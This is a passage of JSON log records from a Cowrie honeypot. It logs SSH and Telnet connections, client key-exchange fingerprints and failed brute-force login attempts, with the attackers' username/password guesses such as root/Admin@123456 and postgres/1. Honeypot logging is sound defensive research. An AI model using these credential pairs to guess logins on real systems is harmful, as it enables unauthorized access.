a2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:57.508237Z","src_ip":"45.156.87.204","session":"b1028ab82dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34822,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01745da0194","protocol":"telnet","message":"New connection: 152.42.224.71:34822 (10.17.0.5:23) [session: e01745da0194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:57.931159Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:58.072221Z","src_ip":"45.156.87.204","session":"b1028ab82dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:59.156460Z","src_ip":"45.156.87.204","session":"b1028ab82dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48508,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe8047fd968a","protocol":"ssh","message":"New connection: 45.156.87.204:48508 (159.203.135.109:22) [session: fe8047fd968a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:01.234931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:01.241358Z","src_ip":"45.156.87.204","session":"fe8047fd968a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:01.326330Z","src_ip":"45.156.87.204","session":"fe8047fd968a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:01.583898Z","src_ip":"45.156.87.204","session":"fe8047fd968a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:02.672353Z","src_ip":"45.156.87.204","session":"fe8047fd968a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.91792058944702,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:02.719208Z","src_ip":"152.42.224.71","session":"7a97b0ec7787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34838,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66b8caaab0c","protocol":"telnet","message":"New connection: 152.42.224.71:34838 (10.17.0.5:23) [session: f66b8caaab0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:04.145437Z"}
{"eventid":"cowrie.session.closed","duration":32.84163951873779,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:04.460697Z","src_ip":"152.42.224.71","session":"9362bb3a0252","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47156,"dst_ip":"159.203.135.109","dst_port":22,"session":"86b81198dc97","protocol":"ssh","message":"New connection: 45.156.87.204:47156 (159.203.135.109:22) [session: 86b81198dc97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:04.861335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:04.873260Z","src_ip":"45.156.87.204","session":"86b81198dc97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:04.957091Z","src_ip":"45.156.87.204","session":"86b81198dc97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:05.421324Z","src_ip":"45.156.87.204","session":"86b81198dc97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47496,"dst_ip":"10.17.0.5","dst_port":23,"session":"00d5028f623f","protocol":"telnet","message":"New connection: 152.42.224.71:47496 (10.17.0.5:23) [session: 00d5028f623f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:05.985387Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:06.507465Z","src_ip":"45.156.87.204","session":"86b81198dc97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47158,"dst_ip":"159.203.135.109","dst_port":22,"session":"42965eb5b0ff","protocol":"ssh","message":"New connection: 45.156.87.204:47158 (159.203.135.109:22) [session: 42965eb5b0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:08.737070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:08.742027Z","src_ip":"45.156.87.204","session":"42965eb5b0ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:08.824476Z","src_ip":"45.156.87.204","session":"42965eb5b0ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:09.076674Z","src_ip":"45.156.87.204","session":"42965eb5b0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:10.347403Z","src_ip":"45.156.87.204","session":"42965eb5b0ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47170,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eba7f6afd3e","protocol":"ssh","message":"New connection: 45.156.87.204:47170 (159.203.135.109:22) [session: 1eba7f6afd3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:12.308906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:12.314534Z","src_ip":"45.156.87.204","session":"1eba7f6afd3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:12.585828Z","src_ip":"45.156.87.204","session":"1eba7f6afd3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":58916,"dst_ip":"159.203.135.109","dst_port":22,"session":"fab4cc1ce058","protocol":"ssh","message":"New connection: 47.237.167.49:58916 (159.203.135.109:22) [session: fab4cc1ce058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:12.900296Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:12.935682Z","src_ip":"45.156.87.204","session":"1eba7f6afd3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47502,"dst_ip":"10.17.0.5","dst_port":23,"session":"d86ccb8910bf","protocol":"telnet","message":"New connection: 152.42.224.71:47502 (10.17.0.5:23) [session: d86ccb8910bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:12.942617Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":51486,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cf60d22a49e","protocol":"ssh","message":"New connection: 46.19.67.181:51486 (10.17.0.5:22) [session: 5cf60d22a49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:13.618946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:13.623891Z","src_ip":"46.19.67.181","session":"5cf60d22a49e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:13.740104Z","src_ip":"46.19.67.181","session":"5cf60d22a49e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:14.021546Z","src_ip":"45.156.87.204","session":"1eba7f6afd3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eiaei","message":"login attempt [root/eiaei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:14.090470Z","src_ip":"46.19.67.181","session":"5cf60d22a49e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:15.209615Z","src_ip":"46.19.67.181","session":"5cf60d22a49e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59714,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb8b990efb54","protocol":"ssh","message":"New connection: 45.156.87.204:59714 (159.203.135.109:22) [session: fb8b990efb54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:16.136757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:16.145925Z","src_ip":"45.156.87.204","session":"fb8b990efb54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:16.230731Z","src_ip":"45.156.87.204","session":"fb8b990efb54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:16.485299Z","src_ip":"45.156.87.204","session":"fb8b990efb54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:17.572546Z","src_ip":"45.156.87.204","session":"fb8b990efb54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.13711881637573,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:19.150823Z","src_ip":"152.42.224.71","session":"34dd1182f9dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59730,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8a88e54e15c","protocol":"ssh","message":"New connection: 45.156.87.204:59730 (159.203.135.109:22) [session: f8a88e54e15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:19.800214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:19.830565Z","src_ip":"45.156.87.204","session":"f8a88e54e15c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:19.924849Z","src_ip":"45.156.87.204","session":"f8a88e54e15c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:20.247178Z","src_ip":"45.156.87.204","session":"f8a88e54e15c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:20.597683Z","src_ip":"47.237.167.49","session":"fab4cc1ce058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:21.332746Z","src_ip":"45.156.87.204","session":"f8a88e54e15c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.49671745300293,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:30:22.153807Z","src_ip":"152.42.224.71","session":"252e7d2a577c","protocol":"telnet"}
